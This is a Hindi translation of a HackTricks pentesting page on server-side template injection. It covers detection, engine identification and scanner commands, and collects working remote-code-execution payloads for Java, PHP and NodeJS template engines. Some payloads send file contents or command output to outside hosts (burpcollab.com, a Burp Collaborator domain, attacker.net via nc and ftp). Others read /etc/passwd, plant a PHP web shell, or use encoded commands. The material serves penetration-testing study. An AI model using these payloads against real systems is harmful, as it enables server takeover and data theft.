hacktricks/pentesting-web/ssti-server-side-template-injection
2024-01-14 00:32:29 +00:00
..
el-expression-language.md Translated to Hindi 2023-11-06 08:38:02 +00:00
jinja2-ssti.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 22:46:25 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-01-14 00:32:29 +00:00

SSTI (सर्वर साइड टेम्प्लेट इंजेक्शन)

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

RootedCON स्पेन में साइबर सुरक्षा की सबसे प्रासंगिक घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबलता मिलन बिंदु है।

{% embed url="https://www.rootedcon.com/" %}

सर्वर-साइड टेम्प्लेट इंजेक्शन क्या है?

सर्वर-साइड टेम्प्लेट इंजेक्शन तब होता है जब एक हमलावर मूल टेम्प्लेट सिंटैक्स का उपयोग करके एक टेम्प्लेट में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करने में सक्षम होता है, जिसे फिर सर्वर-साइड पर निष्पादित किया जाता है।

टेम्प्लेट इंजन वेब पेजों को उत्पन्न करने के लिए डिज़ाइन किए गए हैं, स्थिर टेम्प्लेट्स को अस्थिर डेटा के साथ मिलाकर। जब यूजर इनपुट सीधे एक टेम्प्लेट में जोड़ा जाता है, बजाय डेटा के रूप में पास किए जाने के, तब सर्वर-साइड टेम्प्लेट इंजेक्शन हमले हो सकते हैं। इससे हमलावरों को मनमाने टेम्प्लेट निर्देशों को इंजेक्ट करने की अनुमति मिलती है ताकि वे टेम्प्लेट इंजन को प्रभावित कर सकें, अक्सर उन्हें सर्वर का पूर्ण नियंत्रण लेने की क्षमता प्रदान करते हैं।

एक उदाहरण के लिए कमजोर कोड निम्नलिखित है:

$output = $twig->render("Dear " . $_GET['name']);

पिछले उदाहरण में टेम्प्लेट का एक हिस्सा GET पैरामीटर name का उपयोग करके गतिशील रूप से उत्पन्न किया जा रहा है। चूंकि टेम्प्लेट सिंटैक्स सर्वर-साइड पर मूल्यांकित किया जाता है, इससे हमलावर को name पैरामीटर में सर्वर-साइड टेम्प्लेट इंजेक्शन पेलोड डालने की संभावना मिलती है जैसा कि निम्नलिखित है:

http://vulnerable-website.com/?name={{bad-stuff-here}}

सर्वर-साइड टेम्प्लेट इंजेक्शन अटैक का निर्माण

पता लगाना

किसी भी कमजोरी के साथ, शोषण की ओर पहला कदम इसे खोजने में सक्षम होना है। शायद सबसे सरल प्रारंभिक दृष्टिकोण टेम्प्लेट को फज़िंग करने की कोशिश करना है, जिसमें टेम्प्लेट एक्सप्रेशन में आमतौर पर इस्तेमाल किए जाने वाले विशेष चरित्रों का एक क्रम इंजेक्ट किया जाता है, जैसे कि पॉलीग्लॉट ${{<%[%'"}}%\.
सर्वर की कमजोरी की जांच करने के लिए आपको पैरामीटर पर नियमित डेटा के साथ प्रतिक्रिया और दिए गए पेलोड के बीच अंतर को स्पॉट करना चाहिए।
यदि त्रुटि फेंकी जाती है तो यह काफी आसान होगा कि पता लगाया जा सके कि सर्वर कमजोर है और यहां तक कि कौन सा इंजन चल रहा है। लेकिन आप एक कमजोर सर्वर भी खोज सकते हैं यदि आप उम्मीद कर रहे थे कि यह प्रतिबिंबित करेगा दिए गए पेलोड को और यह प्रतिबिंबित नहीं हो रहा है या यदि प्रतिक्रिया में कुछ गायब अक्षर हैं।

पता लगाना - प्लेनटेक्स्ट संदर्भ

दिया गया इनपुट रेंडर किया जा रहा है और प्रतिक्रिया में प्रतिबिंबित हो रहा है। इसे आसानी से एक साधारण XSS कमजोरी के लिए गलत समझा जा सकता है, लेकिन यदि आप टेम्प्लेट एक्सप्रेशन के भीतर गणितीय संचालन सेट करने की कोशिश करें तो इसे अलग करना आसान है:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

पता लगाएं - कोड संदर्भ

इन मामलों में उपयोगकर्ता इनपुट को टेम्प्लेट एक्सप्रेशन के भीतर रखा जा रहा है:

engine.render("Hello {{"+greeting+"}}", data)

पहचानें

जब आपने टेम्प्लेट इंजेक्शन की संभावना का पता लगा लिया है, तो अगला कदम टेम्प्लेट इंजन की पहचान करना है।
हालांकि बहुत सारी टेम्प्लेटिंग भाषाएँ हैं, उनमें से कई HTML अक्षरों के साथ टकराव न हो इसलिए बहुत समान सिंटैक्स का उपयोग करती हैं।

यदि आप भाग्यशाली हैं तो सर्वर त्रुटियों को प्रिंट कर रहा होगा और आप त्रुटियों के अंदर उपयोग किए गए इंजन का पता लगा पाएंगे। कुछ संभावित पेलोड जो त्रुटियों का कारण बन सकते हैं:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

अन्यथा, आपको विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना होगा और देखना होगा कि वे टेम्प्लेट इंजन द्वारा कैसे व्याख्या किए जाते हैं। इस प्रक्रिया में मदद के लिए, आप निम्नलिखित के समान एक निर्णय वृक्ष का उपयोग कर सकते हैं:

शोषण

पढ़ें

टेम्प्लेट इंजेक्शन का पता लगाने और टेम्प्लेट इंजन की पहचान करने के बाद पहला कदम दस्तावेज़ीकरण पढ़ना है। रुचि के प्रमुख क्षेत्र हैं:

  • 'टेम्प्लेट लेखकों के लिए' अनुभाग जो मूल सिंटैक्स को कवर करते हैं।
  • 'सुरक्षा विचार' - संभावना है कि जिसने भी आपके द्वारा परीक्षण किए जा रहे ऐप को विकसित किया है, उसने इसे नहीं पढ़ा होगा, और इसमें कुछ उपयोगी संकेत हो सकते हैं।
  • बिल्टिन विधियों, फंक्शन्स, फिल्टर्स, और वेरिएबल्स की सूचियाँ।
  • एक्सटेंशन्स/प्लगइन्स की सूचियाँ - कुछ डिफ़ॉल्ट रूप से सक्षम हो सकते हैं।

अन्वेषण

मान लें कि कोई शोषण स्वयं प्रस्तुत नहीं हुआ है, तो अगला कदम पर्यावरण का अन्वेषण करना है ताकि यह पता चल सके कि आपके पास किस चीज़ तक पहुँच है। आप उम्मीद कर सकते हैं कि टेम्प्लेट इंजन द्वारा प्रदान की गई डिफ़ॉल्ट ऑब्जेक्ट्स और डेवलपर द्वारा टेम्प्लेट में पास की गई एप्लिकेशन-विशिष्ट ऑब्जेक्ट्स दोनों को पाएंगे। कई टेम्प्लेट सिस्टम एक 'सेल्फ' या नेमस्पेस ऑब्जेक्ट प्रदर्शित करते हैं जिसमें स्कोप में सब कुछ होता है, और एक ऑब्जेक्ट के गुणों और विधियों की सूची बनाने का एक विशिष्ट तरीका होता है।

यदि कोई बिल्टिन सेल्फ ऑब्जेक्ट नहीं है तो आपको SecLists और Burp Intruder के शब्द संग्रह का उपयोग करके वेरिएबल नामों को ब्रूटफोर्स करना होगा।

डेवलपर-प्रदत्त ऑब्जेक्ट्स में संवेदनशील जानकारी होने की संभावना अधिक होती है, और यह एक एप्लिकेशन के भीतर विभिन्न टेम्प्लेट्स के बीच भिन्न हो सकती है, इसलिए यह प्रक्रिया आदर्श रूप से प्रत्येक विशिष्ट टेम्प्लेट पर व्यक्तिगत रूप से लागू की जानी चाहिए।

आक्रमण

इस बिंदु पर आपके पास आपके लिए उपलब्ध हमले की सतह का दृढ़ विचार होना चाहिए और आप पारंपरिक सुरक्षा ऑडिट तकनीकों के साथ आगे बढ़ने में सक्षम होना चाहिए, प्रत्येक फंक्शन की समीक्षा करना शोषण योग्य कमजोरियों के लिए। यह महत्वपूर्ण है कि इसे व्यापक एप्लिकेशन के संदर्भ में संपर्क किया जाए - कुछ फंक्शन्स का उपयोग एप्लिकेशन-विशिष्ट सुविधाओं का शोषण करने के लिए किया जा सकता है। आगे दिए गए उदाहरण टेम्प्लेट इंजेक्शन का उपयोग करके मनमानी ऑब्जेक्ट सृजन, मनमानी फाइल पढ़ने/लिखने, रिमोट फाइल शामिल, सूचना प्रकटीकरण और विशेषाधिकार वृद्धि कमजोरियों को ट्रिगर करने के लिए करेंगे।

उपकरण

TInjA

एक कुशल SSTI + CSTI स्कैनर जो नवीन पॉलीग्लॉट्स का उपयोग करता है

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

टेम्प्लेट इंजेक्शन टेबल

एक इंटरैक्टिव टेबल जिसमें सबसे कुशल टेम्प्लेट इंजेक्शन पॉलीग्लॉट्स के साथ-साथ 44 सबसे महत्वपूर्ण टेम्प्लेट इंजनों की अपेक्षित प्रतिक्रियाएँ शामिल हैं।

एक्सप्लॉइट्स

जेनेरिक

इस वर्डलिस्ट में आपको नीचे उल्लिखित कुछ इंजनों के वातावरण में परिभाषित वेरिएबल्स मिल सकते हैं:

जावा

जावा - बेसिक इंजेक्शन

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - सिस्टम के पर्यावरण वेरिएबल्स को प्राप्त करें

${T(java.lang.System).getenv()}

Java - /etc/passwd प्राप्त करें

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने payloads को https://try.freemarker.apache.org पर आज़मा सकते हैं

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (पुराना)
  • ${7*'7'} कुछ नहीं
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox बाईपास

⚠️ केवल Freemarker संस्करण 2.3.30 से नीचे पर काम करता है

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

अधिक जानकारी

Thymeleaf (Java)

SSTI के लिए विशिष्ट परीक्षण अभिव्यक्ति ${7*7} है। यह अभिव्यक्ति Thymeleaf में भी काम करती है। यदि आप दूरस्थ कोड निष्पादन प्राप्त करना चाहते हैं, तो आप निम्नलिखित परीक्षण अभिव्यक्तियों में से एक का उपयोग कर सकते हैं:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

हालांकि, जैसा कि हमने पहले उल्लेख किया है, अभिव्यक्तियाँ केवल विशेष Thymeleaf विशेषताओं में काम करती हैं। यदि टेम्प्लेट में अलग स्थान पर अभिव्यक्ति का उपयोग करना आवश्यक है, तो Thymeleaf expression inlining का समर्थन करता है। इस सुविधा का उपयोग करने के लिए, आपको एक अभिव्यक्ति को [[...]] या [(...)] के भीतर रखना होगा (विशेष प्रतीकों को बचाने की आवश्यकता होने पर एक या दूसरे का चयन करें)। इसलिए, Thymeleaf के लिए एक सरल SSTI पता लगाने वाला पेलोड [[${7*7}]] होगा।

हालांकि, उपरोक्त पता लगाने वाले पेलोड के काम करने की संभावनाएं बहुत कम हैं। SSTI संवेदनशीलताएं आमतौर पर तब होती हैं जब कोड में एक टेम्प्लेट गतिशील रूप से उत्पन्न किया जाता है। Thymeleaf, डिफ़ॉल्ट रूप से, ऐसे गतिशील रूप से उत्पन्न टेम्प्लेट्स की अनुमति नहीं देता है और सभी टेम्प्लेट्स को पहले बनाया जाना चाहिए। इसलिए, यदि एक डेवलपर एक स्ट्रिंग से on the fly एक टेम्प्लेट बनाना चाहता है, तो उन्हें अपना खुद का TemplateResolver बनाना होगा। यह संभव है लेकिन बहुत कम होता है।

यदि हम Thymeleaf टेम्प्लेट इंजन के दस्तावेज़ीकरण में गहराई से देखें, तो हमें expression preprocessing नामक एक दिलचस्प सुविधा मिलेगी। डबल अंडरस्कोर (__...__) के बीच रखी गई अभिव्यक्तियाँ प्रीप्रोसेस की जाती हैं और प्रीप्रोसेसिंग का परिणाम नियमित प्रोसेसिंग के दौरान अभिव्यक्ति के हिस्से के रूप में उपयोग किया जाता है। यहाँ Thymeleaf दस्तावेज़ीकरण से एक आधिकारिक उदाहरण है:

#{selection.__${sel.code}__}

संवेदनशील उदाहरण

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फिल्टर्स को बायपास करें

यदि ${...} काम नहीं करता है तो अनेक वेरिएबल एक्सप्रेशन्स का उपयोग किया जा सकता है, #{...}, *{...}, @{...} या ~{...} को प्रयास करें।

  • /etc/passwd पढ़ें
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • पेलोड जनरेशन के लिए कस्टम स्क्रिप्ट
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble का पुराना संस्करण ( < संस्करण 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

नया संस्करण Pebble का :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (जावा)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है https://github.com/HubSpot/jinjava/

Jinjava - कमांड निष्पादन

https://github.com/HubSpot/jinjava/pull/230 द्वारा ठीक किया गया

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} स्टेटमेंट डिलिमिटर्स
  • {{ }} एक्सप्रेशन डिलिमिटर्स
  • {# #} कमेंट डिलिमिटर्स
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोज की और Jinjava project on Github की खोज की।

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

एक्सप्रेशन लैंग्वेज - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL प्रस्तुति परत (वेब पेजेस) को एप्लिकेशन लॉजिक (मैनेज्ड बीन्स) के साथ संवाद करने के लिए एक महत्वपूर्ण तंत्र प्रदान करता है। EL का उपयोग कई JavaEE तकनीकों द्वारा किया जाता है, जैसे कि JavaServer Faces तकनीक, JavaServer Pages (JSP) तकनीक, और Java EE के लिए Contexts और Dependency Injection (CDI)।
निम्नलिखित पेज पर जाकर EL इंटरप्रेटर्स के शोषण के बारे में और जानें:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

यह Security Manager बायपास इस राइटअप से लिया गया था।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON स्पेन में साइबर सुरक्षा की सबसे महत्वपूर्ण घटना है और यूरोप में सबसे प्रमुख में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए हर अनुशासन में एक उबलता मिलन बिंदु है।

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = त्रुटि
  • {{foobar}} कुछ नहीं
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्प्लेट प्रारूप

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates Twig से प्रेरित है लेकिन यह एक मूल PHP टेम्प्लेट इंजन है जो कि एक संकलित टेम्प्लेट इंजन के बजाय है।

controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पेज टेम्प्लेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

layout template:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate एक गैर-संकलन PHP टेम्प्लेटिंग इंजन है, जो XML टैग्स का उपयोग करके एक दस्तावेज़ को विभिन्न भागों में विभाजित करता है

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Path Traversal (अधिक जानकारी के लिए यहाँ देखें)।

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि
  • ${7*7} = ${7*7}
  • कुछ नहीं
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
